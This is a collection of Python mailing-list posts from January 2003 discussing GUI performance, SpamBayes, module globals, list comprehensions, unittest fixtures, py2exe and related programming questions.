FWIW it was the complexity of building GUIs in Java that made me finally try
Python. When I found wxPython where the real work is done by C++ classes
binding to the underlying native toolkit I was pleasantly surprised to find
that even plain drawing operations compared favorably with their AWT and
Swing counterparts and nothing in the basic UI components such as menus and
controls is slow, you could build a standalone Python/wxPython program with
py2exe and nobody would ever know you did it in Python based on the
responsiveness and relatively small memory footprint of the application. I
think Java 1.4 and higher is supposed to take advantage of hardware video
acceleration if available, but at least the version I tried didn't run that
much faster than what I saw with 1.3.x

As others have suggested though, you really have to at least try some
samples yourself and make your own judgement.

ka

"Rick Richardson" <rrichardson at eti-main.enabletech.com> wrote in message
news:mailman.1042070716.17019.python-list at python.org...
>
> I'm currently reviewing technologies for a large, gui intensive
application.
> We're planning on having a template driven dynamic gui system, but having
> written Java gui's in the past I'm concerned that python may share java's
> affliction and be slower than molassses in January.
>
> Can anyone out there comment on the relative speed of Java's gui libs and
> any one of the python gui libs?
>
>
> Rick Richardson  x1810
>
> Quidquid latine dictum sit, altum videtur.
> [Anything said in Latin sounds profound.]
>
>





From skip at pobox.com  Thu Jan  2 14:32:56 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 2 Jan 2003 13:32:56 -0600
Subject: OT: PSP, XP, TDD and other methodologies for solitary programmers
In-Reply-To: <3e148bb7$1_1@goliath.newsgroups.com>
References: <3e145e67_1@goliath.newsgroups.com>
        <3E1467EE.93860EC4@engcorp.com>
        <3e148bb7$1_1@goliath.newsgroups.com>
Message-ID: <15892.37864.78833.39620@montanaro.dyndns.org>

    Brad> Including, how often to get up and stretch (since you likely don't
    Brad> have a water cooler to hang out at ..  well, I do, but the only
    Brad> one I can talk to there is my dog).

Try this:

    http://sf.net/projects/watch/

You can set work and rest times.  I suppose you could rename the labels to
"work" and "walk the dog". ;-)

(Warning...  It has bugs and needs a rewrite to separate the timekeeping
from the gooey bits.  Feel free to fix any you find and mail me!)

-- 
Skip Montanaro - skip at pobox.com
http://www.musi-cal.com/
http://www.mojam.com/




From johnroth at ameritech.net  Tue Jan  7 08:18:22 2003
From: johnroth at ameritech.net (John Roth)
Date: Tue, 7 Jan 2003 08:18:22 -0500
Subject: fixed point vs fixed decimal
References: <avcuj1$6a7$1@news.service.uci.edu> <v1k1tts6o9ta1e@news.supernews.com> <EN6w0WAFRpG+EwB8@jessikat.fsnet.co.uk>
Message-ID: <v1lks0heodna06@news.supernews.com>

"Robin Becker" <robin at jessikat.fsnet.co.uk> wrote in message
news:EN6w0WAFRpG+EwB8 at jessikat.fsnet.co.uk...
> In article <v1k1tts6o9ta1e at news.supernews.com>, John Roth
> <johnroth at ameritech.net> writes
> ......
> >
> >I don't think I've ever seen **conceptual** fixed point binary.
> >**Implementation**
> >fixed point binary, yes, but then it was conceptually decimal.
> >
> >John Roth
> ..... I believe Adobe's internal representation is a binary fixed
point
> scheme. I think it is based on a 32bit int with 16 bits as the
fraction.
>
> I believe that the FreeType font package also uses the same
> representation.

You're right! I'd forgotten about the applications in graphics and
motor control where floats are too expensive.

However, that's not this application area.

John Roth
> --
> Robin Becker





From anthony at interlink.com.au  Tue Jan 14 22:27:12 2003
From: anthony at interlink.com.au (Anthony Baxter)
Date: Wed, 15 Jan 2003 14:27:12 +1100
Subject: OT: spam filtering idea 
In-Reply-To: <LNBBLJKPBEHFEDALKOLCOEJIDIAB.tim.one@comcast.net> 
Message-ID: <200301150327.h0F3RCP01088@localhost.localdomain>

>>> Tim Peters wrote
> [Paul Rubin]
> > ...
> > Spambayes is already working better than spamassassin?  Wow.
> 
> It depends on what you use it for.  It was intended to be used by a single
> person on their own email, and it quickly learns so much about a single
> person's quirks that even very early versions of the spambayes code did at
> least as well as a well-maintained SpamAssassin.

I know that for _my_ use, it kicks spamassassin's butt.

I still have spamassassin running over the inbound email (but in non-mangle-
the-spam mode), so I can check occasionally how it's going. 

For the last 100 spams in my spam folder, spambayes nailed 92 as spam,
and 8 as unsure. There were no false negatives (missed spam), although
I seem to see about 1 a week or so of those, and I've yet to get a 
false positive. SA tells me that 86 of these 100 are spam, and 14 are not.
When I was using SA regularly, I had to put an enormous set of whitelist
addresses to let things through like Blackstar's regular mailouts and
other commercial email that I wanted to see, as well as for things like
RISKS digest (which, for some reason, SA _really_ hated). This is 
obviously a hole that spammers will try to exploit - I already see 
spams with sender addresses @amazon.com, presumably to try and slip 
through this sort of hole.

Hopefully SA will pick up some of the techniques in a future version.

Anthony





From mwm at mired.org  Wed Jan  8 17:20:01 2003
From: mwm at mired.org (Mike Meyer)
Date: Wed, 08 Jan 2003 22:20:01 GMT
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <x74r8lynz2.fsf@guru.mired.org> <52719db8.0301071950.33e1917e@posting.google.com> <x7wulgwa1g.fsf@guru.mired.org> <52719db8.0301080803.3105438@posting.google.com> <x765szwop4.fsf@guru.mired.org>
Message-ID: <x7vg0zuvvw.fsf@guru.mired.org>

Mike Meyer <mwm at mired.org> writes:
> How hard is it to add judoscript support to a random application, and
> how much overhead does it add? Do I have to embed a java vm in the
> thing to use it? What advantage does it give me over doing a CORBA
> interface - see <URL: http://www.mired.org/home/mwm/scripting/ > for a
> bit on that - to make up for the loss of the ability to write scripts
> in any language with CORBA support? On Windows, you get to do the same
> comparison with ActiveX or whatever MS is calling their distributed
> object technology this month.

Arrgh. I just found out that my new ISP is blocking my web server. So
off we go to find a second new ISP in as many days.

For now, you can find the paper at <URL: http://www.idiom.com/~mwm/ >
and the software it refers to at <URL:
http://www.idiom.com/~mwm/cwm.tar.gz >.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From fuf at mageo.cz  Wed Jan  8 10:51:01 2003
From: fuf at mageo.cz (Michal Vitecek)
Date: Wed, 8 Jan 2003 16:51:01 +0100
Subject: global variable not seen (bug?)
Message-ID: <20030108155101.GA8856@foof.i3.cz>

 hello everyone,

 i've encountered a strange problem with accessing a global variable
 from imported module. the imported module (file imported.py) contains:
 
---imported.py start---
 def someFunction():
    global GLOBAL_VARIABLE

    print GLOBAL_VARIABLE
---imported.py end---

 and now the session copy:

---session start---
Python 2.2.1 (#4, Sep  4 2002, 13:43:54) 
[GCC 2.95.3 20010315 (release)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> GLOBAL_VARIABLE = 'some value'
>>> from imported import *
>>> dir()
['GLOBAL_VARIABLE', '__builtins__', '__doc__', '__name__', 'someFunction']
>>> someFunction()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "imported.py", line 4, in someFunction
    print GLOBAL_VARIABLE
NameError: global name 'GLOBAL_VARIABLE' is not defined
>>> 
---session end---

 what's the problem here? it seems to me like this is a bug in python.

    thanks for any responses,
-- 
		fuf		(fuf at mageo.cz)




From martin at v.loewis.de  Sun Jan  5 06:10:19 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 05 Jan 2003 12:10:19 +0100
Subject: Leakage vs Cyclops
References: <KfdTAjAXSbF+EwYH@jessikat.demon.co.uk> <mailman.1041746350.26051.python-list@python.org> <QV71iWACFBG+EwC7@jessikat.fsnet.co.uk>
Message-ID: <m3lm1zq2ck.fsf@mira.informatik.hu-berlin.de>

Robin Becker <robin at jessikat.fsnet.co.uk> writes:

> This has been interesting for one simple reason, there seems to be no
> way to determine the total allocation when I do stupid things like throw
> away refs to undecremented PyObjects. 
> 
> The python system knows about the memory, but the ordinary user can't
> get at the blocks/total allocation for testing purposes. 

That is not true. In the debug version, Python maintains a complete of
all objects ever allocated (and not yet released). Since this is
expensive, it is only available in the debug version.

What kind of memory flew out the leak that you have now found?

Regards,
Martin



From max at alcyone.com  Fri Jan 17 05:55:13 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 17 Jan 2003 02:55:13 -0800
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com>
Message-ID: <3E27E111.40987D0B@alcyone.com>

"Jonathan P." wrote:

> This looks like the best bet so far short of using 2.3.
> One thing though, would using xrange instead of range
> be preferable?

It might.  xrange is always preferable to range if you expect that the
number of elements in the range -- that is, the size of the list it has
to calculate -- could be very large.  If it is, then the proxy object
xrange builds is probably going to have better performance (in terms of
memory).  If you expect they'll always be pretty small, then range will
be perform better (in terms of speed).

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I am a gentlemen:  I live by robbing the poor.
\__/ George Bernard Shaw
    Kepler's laws / http://www.alcyone.com/max/physics/kepler/
 A proof of Kepler's laws.



From jeremy at jdyallop.freeserve.co.uk  Thu Jan 16 06:38:48 2003
From: jeremy at jdyallop.freeserve.co.uk (Jeremy Yallop)
Date: 16 Jan 2003 11:38:48 GMT
Subject: FW: Switch statements again
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <1042672900.3e25ed04a5f1a@www.progoth.com> <mailman.1042687953.21581.python-list@python.org> <ad052e5c.0301152308.4e7a83ee@posting.google.com>
Message-ID: <b065k8$lurm5$1@ID-114079.news.dfncis.de>

* Dan Bishop
| Why not have optional, explicit fallthru?

It's not needed.  The same thing can be eccomplished in all sorts of
different ways already.

| print "On the %s day of Christmas, my true love gave to me" % ordinal(day)
| switch day:
|    case 12:
|       print "12 drummers drumming,"
|       fall
|    case 11:
|       print "11 pipers piping,"
|       fall
|    case 10:
|       print "10 lords a-leaping,"
|       fall
| # etc.


   gifts = ['12 drummers drumming',
            '11 pipers piping',
            '10 lords a leaping',
            '9 ladies dancing',
            '8 maids a milking',
            '7 swans a swimming',
            '6 geese a laying',
            '5 golden rings',
            '4 calling birds',
            '3 french hens',
            '2 turtle doves and',
            'a partridge in a Pear Tree',]
   
   def sing(day):
       print 'On the %s day of Christmas, my true love gave to me' % ordinal(day)
       for gift in gifts[-day:]:
           print gifts
   
Jeremy.



From zope at thewebsons.com  Thu Jan  9 01:20:52 2003
From: zope at thewebsons.com (beno)
Date: Thu, 09 Jan 2003 02:20:52 -0400
Subject: Functional Programming: WAS: Too Self Centered
In-Reply-To: <23fiva.ds3.ln@beastie.ix.netcom.com>
References: <mailman.1041984834.14592.python-list@python.org>
 <mailman.1041995238.27779.python-list@python.org>
 <mailman.1042037114.27487.python-list@python.org>
Message-ID: <5.1.0.14.0.20030109021828.01f2adb0@mail.thewebsons.com>

At 04:17 PM 1/8/2003 -0800, you wrote:
>beno fed this fish to the penguins on Wednesday 08 January 2003 06:12
>am:
>
>
> >
> > """
> > Testimonials.py
> > This script turns testimonials in individual files into drop-down
> > select style boxes
> > that can be inserted into HTML pages. Said files must be located in
> > the *testimonials* folder (within a language folder if using Easy
> > Cart) in your Web site
> > folder. The first line of each such file must contain *only* the name
> > of the person
> > giving the testimony.
> > """
> >
> > import string
> >
> > class Testimonials:
> >
> >
> >          count = 0
> >          countOne = 0
> >          total = 0
> >          lines = []
> >          name = ''
> >          readFile = []
> >          allLines = ''
> >          shortLines = []
> >          shortTemp = ''
> >          shortTemp1 = ''
> >          shortTemp2 = ''
> >          blank = 0
> >          __file = []
> >          clickForMore = 'no'
> >
>
>         ALL of these are class-wide variables, they are not specific to any
>instance of the class. I suspect they should be the first statements in
>the __init__() function (and at that point they should have self. on
>them to initialize only the instance version)
>
>         Class-wide variables are useful if you have to share data between
>multiple instances -- and in that case the functions would use
>Testimonials.shared (for example) to access the class-wide data.
>
>
> >          def firstShorten(self):
> >                  self.shortTemp = self.allLines[:30]
> >                  blank = string.rfind(self.shortTemp,' ')
> >                  self.shortTemp1 = self.shortTemp[:blank]
> >                  self.shortTemp2 = self.shortTemp[blank + 1:]
> >                  self.allLines = self.shortTemp2 + self.allLines[30:]
> >                  table = string.maketrans('\n', ' ' )
> >                  self.name = string.translate(self.name,table)
>
><blink><blink>
>
>         Is all that supposed to limit each display line to 30 characters?
>
>import string
>
>def format30(wrdlst):
>         ln = ""
>         while (wrdlst <> []) and ((len(ln) + len(wrdlst[0])) < 30):
>                 ln = ln + wrdlst[0] + " "
>                 del wrdlst[0]
>         return (ln, wrdlst)

Sweet. Thanks!


>#the following is all one line in the editor
>mystr = "This is a long list of nonsense for the purpose of testing out
>the format30 function"
>
>mywords = string.split(mystr)   #generate working word list
>while len(mywords) > 0:
>         (aline, mywords) = format30(mywords)
>         print aline
>
>
>[wulfraed at beastie wulfraed]$ python t.py
>This is a long list of
>nonsense for the purpose of
>testing out the format30
>function
>
>         Note: I did not code the case of one word being >30...
>
> >          def subsequentShorten(self):
> >                  if self.allLines != '':
> >                          self.shortTemp = self.allLines[:30]
> >                          blank = string.rfind(self.shortTemp,' ')
> >                          self.shortTemp1 = self.shortTemp[:blank]
> >                          self.shortTemp2 = self.shortTemp[blank + 1:]
> >                          self.allLines = self.shortTemp2 +
> >                          self.allLines[30:] self.theTestimonial += '
>
>         And here you repeat the confusing thing <G>
>
>         Even in that variant I can see changes:
>
>                 blank = string.rfind(self.allLines[:30], " ")
>                 (self.short, self.allLines) = (self.allLines[:blank],
>                                                 self.allLines[blank+1:] )

Nice.


> > def test():
> >          f = Testimonials()
> >          f.firstRead()
> >          f.subsequentRead()
> >          f.firstLine()
> >          f.subsequentLines()
> >          f.firstShorten()
> >          f.subsequentShorten()
> >          f.endTag()
> >          f.printit()
> >
>         I'd have gotten kicked out of my job if I coded processing like that
><G>  read the first line, read all the rest of the lines, do something
>to the first input line, do something to the rest of the input lines,
>format the first output line, format the rest of the output lines.
>
>         I'd likely have ended up with
>
>         f = Testimonials()
>         f.load(filename)        #where load reads all, strips \n, makes 
> one string
>         f.format()              #which bulds a list of length limited strings
>                                 #along with any surrounding tags
>         f.print()       #or this function puts the surrounding tags

Thank you VERY MUCH for your help!
beno






From mertz at gnosis.cx  Fri Jan 17 17:46:21 2003
From: mertz at gnosis.cx (David Mertz)
Date: Fri, 17 Jan 2003 17:46:21 -0500
Subject: XML vs Python?
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu>
Message-ID: <9eIK+kKkXc6G092yn@gnosis.cx>                       

"N. Thomas" <nthomas at cise.ufl.edu> wrote previously:
|...or rather "XML's data structures vs Python's data structures"

I've written quite a bit on this concept, and implemented what I think
are sensible approaches in my gnosis.xml.pickle and gnosis.xml.objectify
modules (now parts of Gnosis Utilities).

For example:

    http://gnosis.cx/publish/programming/xml_matters_23.html

    http://gnosis.cx/publish/programming/xml_matters_11.html

    http://gnosis.cx/publish/programming/xml_matters_2.html

    http://gnosis.cx/publish/programming/xml_matters_2.html

Yours, David...

--
 mertz@  _/_/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY: \_\_\_\_    n o
gnosis  _/_/             Postmodern Enterprises            \_\_
.cx    _/_/                                                 \_\_  d o
      _/_/_/ IN A WORLD W/O WALLS, THERE WOULD BE NO GATES \_\_\_ z e





From spam at al-queda.org  Wed Jan 29 08:24:22 2003
From: spam at al-queda.org (Aum)
Date: Thu, 30 Jan 2003 02:24:22 +1300
Subject: Hacking Heaven - Leo+XEmacs Integrated
References: <93rZ9.51593$F63.1103117@news.xtra.co.nz> <3E378D06.3010406@tin.it>
Message-ID: <pan.2003.01.29.13.24.21.953942@al-queda.org>

On Wed, 29 Jan 2003 09:12:54 +0100, Andrea Galimberti wrote:

> Leo is really a cool editor, but it lacks all the vim key bindings 
> (sorry, I'm part of the 'vim religion'). Is there a way to do with vim 
> the same thing you did with xemacs?

Sure.
Leo comes with 2 doco files, in (of course) Leo format.
Open these up, have a read, and look up how to create a file called
leoConfig.txt.

That file allows all key bindings to be reassigned to whatever takes your
fancy. :)

> Maybe you can give me some hints about your code and I'll try to hack 
> the Leo code to link it to vim.

With the XEmacs integration, I took advantage of the
'gnuserver'/'gnuclient' utilities. You can run the shell command
'gnuclient file1 file2 ...', and it's just like typing
'xemacs file1 file2...' except that the files get opened in an *existing*
instance of xemacs (provided that such instance has executed the
'(gnuserver)' function (usually done at xemacs startup).

I don't know if such utilities exist for vim. You'll need to investigate
whether there are any options to allow you to, from a shell, open new
files in existing vim instances.

Good Luck

A




From dale at riverhall.NOTHANKS.co.uk  Fri Jan 31 05:21:07 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Fri, 31 Jan 2003 10:21:07 +0000
Subject: In continuing of my question...
References: <f918ac11.0301300759.4ac814bc@posting.google.com> <3a2j3vk8qgtqrm0mfrlvahfcl0pso5cf6r@4ax.com> <b1d6cq$175p$1@bull.east.ru> <asq_9.48863$Hl6.6190476@news010.worldonline.dk>
Message-ID: <48jk3vgdf430a598974vcsip633c6p4p9m@4ax.com>

Max M <maxm at mxm.dk> wrote:

>Nicolay Vasiliev wrote:
>> Does Python have any reporting system (maybe as third party tool)?
>
>
>I am not entirely shure what you mean. But there is ReportLab wich 
>generates pdf files.
>
>> And could
>> I export data to MS applications (ie, MS Excel)?
>
>
>Yes. You can do this via. COM. You need to get Mark Hammonds win32all 
>extensions.

It's *much* easier and faster to write to a CSV, DIF or XML file and
then load that into Excel.
--
Dale Strickland-Clark
Riverhall Systems Ltd



From norm at norm.com  Thu Jan 30 13:49:09 2003
From: norm at norm.com (Norm)
Date: Thu, 30 Jan 2003 13:49:09 -0500
Subject: Dumb Q#2 Pycrust
Message-ID: <b1br6a$85f$1@rupert.unet.maine.edu>

I've downloaded and love the PyCrust interface, but for the life of me can't
figure out how to save the code into a file from it.

So I'm embarrassed to ask, but how do you save code into a file from
PyCrust?

Norm





From simonb at webone.com.au  Fri Jan 17 04:34:54 2003
From: simonb at webone.com.au (Simon Burton)
Date: Fri, 17 Jan 2003 20:34:54 +1100
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au> <c76ff6fc.0301161331.27350f1a@posting.google.com> <JTNV9.14383$Dq.1421728@newsread2.prod.itd.earthlink.net>
Message-ID: <pan.2003.01.17.09.34.53.724229@webone.com.au>

>> 2. string.join()???? Are you still using Python 1.5???? Update now!!!!
> 
> I always use string.join because ''.join feels counter-intuitive,
> because you're joining list. Sort of like saying 'bank maria went to'.
> 
> [snip]
> 
>  - Andrei

And he said:
"Empty string, exercise your ability to join this list."

Ya, not obvious,

Simon Burton.




From mpowell at NOSPAM.osprey.net  Mon Jan 20 21:58:50 2003
From: mpowell at NOSPAM.osprey.net (Franoculator)
Date: Tue, 21 Jan 2003 02:58:50 GMT
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th> <9kstf-b1m.ln1@elstinko.registrado.network.es> <200120031316589777%dipthotdipthot@yahoo.yahoo.com.com> <g3luf-eoq.ln1@elstinko.registrado.network.es>
Message-ID: <KH2X9.19092$FY4.744@news1.central.cox.net>

On Tue, 21 Jan 2003 at 01:41 GMT, Sinister Midget
spilled his alphabet soup on the floor, and the letters spelled:
> On Mon, 20 Jan 2003 21:17:01 GMT, dipthotdipthot at yahoo.yahoo.com.com drooled and scribbled:
>> In article <9kstf-b1m.ln1 at elstinko.registrado.network.es>, Sinister
>> Midget <xunil at kc-rr.com> wrote:
>> 
>>> On Mon, 20 Jan 2003 19:11:40 +0700, wichelman at hotmail.com drooled and
>>> scribbled:
>>> 
>>> 
>>> 
>>> 
>>> 
>>> And good ones, too!
>> 
>> Yeah, but
>> 
>> 
>> 
>> totally sucks ass.
> 
> I only messed with it once. I didn't think it was so bad, but I might
> not have used it enough to get a valid opinion.
> 
> My favorite one was
> 
>
>

You're a sicko.  Why would you use




When you could use






-- 
Matt
oops, I busted my damn sig...again



From godoy at metalab.unc.edu  Tue Jan  7 13:59:37 2003
From: godoy at metalab.unc.edu (Jorge Godoy)
Date: Tue, 07 Jan 2003 16:59:37 -0200
Subject: Python + PostgreSQL
References: <kp65t0lxwp.fsf@wintermute.casa> <87of6sx33n.fsf@gvdnet.dk>
 <kp3co497bt.fsf@wintermute.casa> <87isx0x1h6.fsf@gvdnet.dk>
Message-ID: <kpznqc7ply.fsf@wintermute.casa>

Martin Christensen <knightsofspamalot-factotum at gvdnet.dk> writes:

> If they're all compliant, the difference between them should be merely
> a question of convenience and performance. I am not in a position to
> make recommendations.

Thanks. I'll give some a try... :-) I received other messages with 'I
use XXX' as well and I think that it's like you say: a matter of
convenience and performance. 



Thanks for all your help,
-- 
Godoy.     <godoy at metalab.unc.edu>



From m_webber_sydney at yahoo.com.au  Sun Jan  5 03:47:00 2003
From: m_webber_sydney at yahoo.com.au (Matthew)
Date: 5 Jan 2003 00:47:00 -0800
Subject: Threaded server in python!?
References: <av4u4r$v3c$06$1@news.t-online.com> <mailman.1041647647.32116.python-list@python.org>
Message-ID: <b6ba3f59.0301050047.2209fd55@posting.google.com>

Andrew Bennetts <andrew-pythonlist at puzzling.org> wrote
 
> Using a library like Twisted <http://twistedmatrix.com/>, it's
> straightforward to handle multiple sockets, without needing threads.
> 
> As a bonus, Twisted has implementations of many common protocols, ready for
> you to use and adapt to your problem -- I strongly recommend it, as I
> suspect you will find it *much* easier than the alternatives.

Twisted looks great, based on a quick glance at the web site, but if
the license terms were on the web site I could not find them. What
license is Twisted released under?
Thanks



From lac at strakt.com  Sat Jan 11 12:44:27 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 11 Jan 2003 18:44:27 +0100
Subject: Newbie simple py2exe problem 
In-Reply-To: Message from Bubba <bub@joos.us> 
   of "Sat, 11 Jan 2003 16:59:56 GMT." <o7j02vkju89bajmdm2jr2obkjik1i22bpc@4ax.com> 
References: <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <pete.joos@pobox.com> of "Sat, 11 Jan 2003 14:15:02 GMT." <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <mailman.1042296260.10798.python-list@python.org> <o7j02vkju89bajmdm2jr2obkjik1i22bpc@4ax.com> 
Message-ID: <200301111744.h0BHiRjL024974@ratthing-b246.strakt.com>


> On Sat, 11 Jan 2003 15:39:45 +0100, Laura Creighton <lac at strakt.com>
>  wrote:thers is no traceback. I'm running XP as admin. Ran it in the
> cmd window. Only error is the syntax error previously posted
> 
> >> created small python app., Installed distutils, installed py2exe. I
> >> created the script using the example from the py2exe site. When I run
> >> "python setup.py py2exe" , I get a syntax error on "from
> >> distutils.core  import setup". What's my problem? 
> >> -- 
> >> http://mail.python.org/mailman/listinfo/python-list
> >
> >1. check your permissions.
> >if they are ok ...
> >2. post the real traceback, please.
> >
> >Laura Creighton
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

I have never used XP, so I will have to leave this for another.
But whoever helps you needs a better description of your problem
than 'a syntax error'.  There are lots of syntax errors.  I have been
assuming that you have the particular syntax error which is
an Import Error,  but this might be wrong.  If this is correct,
then python is trying and failing to find something, in distutils.core.

This is either because it's not there, or its there but not readable
(and I don't know how Windows handles permissions, at all) or 
Python doesn't know where to look because your PYTHONPATH does not
include the location of the module you want to load.

Laura Creighton





From peter at engcorp.com  Thu Jan  2 19:15:15 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 02 Jan 2003 19:15:15 -0500
Subject: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com> <aJWcnRWzQtc7E4mjXTWcqA@comcast.com> <3e14a219$1_1@goliath.newsgroups.com>
Message-ID: <3E14D612.42B19ABF@engcorp.com>

Brad Clements wrote:
> 
> I guess there's no getting around actually looking at the database after
> storing an object..

I would suggest *not* "looking at the database", if by that you mean
actually examining it through means other than its regular interface.
If it's a SQL database, execute more SQL statements to retrieve the
info.  If, in fact, you are using it through some serialization methods
to store your objects, then execute the reverse of those methods
and compare the restored objects with the ones prior to the save.
Always try to test behaviour (in this case, save and restore), not 
data (such as the format of the data in the database, unless you 
are actually writing the database yourself).

> Speaking of TestCase, I though that setUp would be called only once for all
> test* included in the class, but I find that setUp() is called for ever test
> case in the same class.

That's definitely true, by design.  In most cases, you want to begin
each test anew, with completely fresh data.  Tests should almost never
depend on the execution of previous tests, or you will get into deep
trouble.

> What I want is one instance of the TestCase to be created (hence, one call
> to setUp()), then each test* case to be run in that TestCase instance.

Option: make setUp() and tearDown() empty or trivial, and put the real
setup in some module-level function that is executed only once at startup.

Alternative: have only a single test() method in the TestCase, and 
from it call a series of other functions (e.g. _test01(), _test02())
which actually do your testing.

> I guess I'll need to make up something to do it that way, since setting up a
> temporary database table for every test in my suite will be expensive.

That is one good reason to break the "almost never" rule I mentioned above.

XP proponents might say "make the setup less expensive".  Maybe there
are some approaches you can take which will lead to that, like running
most of the tests from a "checkpointed" version of the database which
you save during an earlier test.

-Peter



From vvainio at tp.spt.fi  Fri Jan 17 06:54:31 2003
From: vvainio at tp.spt.fi (Ville Vainio)
Date: 17 Jan 2003 03:54:31 -0800
Subject: comprehensions was Re: Switch statements again
References: <1042670767.3e25e4afa12e5@www.progoth.com> <mailman.1042672181.22990.python-list@python.org> <a8b7f07a.0301160724.424a1025@posting.google.com> <200301160736.18786.shalehperry@attbi.com> <Pine.LNX.4.51.0301160916220.9165@ns0.tbye.com> <mailman.1042740101.18359.python-list@python.org>
Message-ID: <ad496f8.0301170354.3bc49338@posting.google.com>

Jack Diederich <jack at performancedrivers.com> wrote in message news:<mailman.1042740101.18359.python-list at python.org>...

> Less of a good reason, but map() and filter() exist in other languages
> so they are more broadly recognizable even to newbies.

My own experience, and that of some of the colleagues to whom I have
introduced Python, is that map and filter are easier to learn and
understand initially (perhaps because they are familiar from other
contexts, perhaps because there is no special syntax, just builtin
functions), but harder to use when you are actually writing (and
especially reading) code.

Me, I actually convert every map/filter I encounter in my old code to
list comprehensions, just for the sake of readability. I tend to think
that tutorials and such should not beat the drum for map/filter/lambda
too loudly, to avoid giving people bad habits.

Of course, there is still the embarrassing issue of the list
comprehension variable not being local to the list comprehension. Why,
oh why won't people pre-deprecate it... at least in the documentation.
Any hope to get it into the tutorial/lang reference for 2.3 :)?



From tjreedy at udel.edu  Fri Jan 24 18:10:35 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 24 Jan 2003 18:10:35 -0500
Subject: Instance at two addresses (Python 2.2)?
References: <20030124111855332-0500@braeburn.themorgue.org>
Message-ID: <RXednVAHO9BqVKyjXTWcqg@comcast.com>

"Kevin Smith" <Kevin.Smith at sas.com> wrote in message
news:20030124111855332-0500 at braeburn.themorgue.org...
> I have a program that creates a large object consisting of nested
lists.
> I then cache certain instances (which correspond to sections) of
that
> object into a smaller list.  Then I process the document in various
ways
> using the smaller list to jump to the sections in the large object.
> This worked fine in Python 2.0, but doesn't in Python 2.2.  Here is
a
> simplified version of the offending code:
>
>    def sectionsBefore(self):
>       """ Return a list of sections that occur before 'self' in the
> document """
>       list = []
>       # Walk through cached document sections list
>       for section in self.documentSections():

It strikes me as a little odd that a method returning the entire list
of sections should be a method of each section in that list...
However: 2.2 did change (generalize) the meaning and inplementation of
'for i in iterable'  (new meaning).  This should not have changed the
result of old code, but maybe you found a wierd corner case.  One
would have to see the method to speculate more.  Your problem may
arise earlier than this.

> # This 'if' block works in Python 2.0, but not in Python 2.2.
> # For some reason, in Python 2.2, 'self' isn't equivalent to
'section'
> # at any point even though they appear to point to the same object
> # based on other criteria (i.e. result of calling other methods).

>          # If 'self' is the same object as 'section', then break
>          # out and return the current list of sections.
>          if section is self:

Have you verified that this is true (in 2.2) on creation of the
instance where this is not true.  Is the problem with just one or some
instances or all?  Does output of documentSections() stay constant?

>             list.reverse()
>             return list
>          # Keep looking.
>          else:
>             list.append(i)
>       list.reverse()
>       return list
>
> Does anyone know what occurred in Python 2.2 to make this not work
> anymore?

My suggestion: explore some more with print statements (or the
debugger) to isolate when mismatch is first apparent.

Terry J. Reedy





From peter at engcorp.com  Tue Jan 28 14:03:38 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 14:03:38 -0500
Subject: end of lines
References: <fd5aa35c.0301280835.6f7dea91@posting.google.com>
Message-ID: <3E36D40A.3333769F@engcorp.com>

Eric Mattes wrote:
> 
> I am running Windows XP and activestate python 2.2.1. I'm writing a
> program that reads in a (local) file using urllib and the readlines()
> method like so:
> 
> code = "".join(urllib.urlopen(file).readlines())
> string.replace(code, "\r", "\n")

Strings are immutable!  You need to bind a name to the result of the call 
to replace().  You meant to do this instead:

code = string.replace(code, '\r', '\n')

If you're using Python 2.2.1 though, you can just do this and avoid
the import statement.

code = code.replace('\r', '\n')

> compiled_code = compile(code, '<string>', 'exec')
> 
> This causes a SyntaxError "Invalid Syntax" with an arrow pointing at
> the end of the first line of the string read from the file. For
> example, the file's first line is:

Another possibility is that you need to add a newline at the end of the
string.  Try this instead:

code = code.replace('\r', '\n') + '\n'

-Peter



From skip at pobox.com  Thu Jan 16 07:35:48 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 16 Jan 2003 06:35:48 -0600
Subject: Is PY patching a problem (esp. on Windows)
In-Reply-To: <BIrV9.227$Td6.107695248@newssvr13.news.prodigy.com>
References: <BIrV9.227$Td6.107695248@newssvr13.news.prodigy.com>
Message-ID: <15910.42788.898592.882965@montanaro.dyndns.org>

    Dennis> If I understand correctly , Python looks only at the file
    Dennis> timestamp to determine whether to re-compile a PY file to create
    Dennis> a PYC file.  If so, what prevents the following scenario:
    ...
    Dennis> The PYC file is thus out of date.

Just remove all your pyc files as part of the update/install process.  You
shouldn't ship pyc's anyway.

In a batteries-included setup like Python, the installation process (at
least on Unix) winds up compiling lots of files I will never use, so I
occasionally go through and wipe out all my py[co] files anyway.

Skip





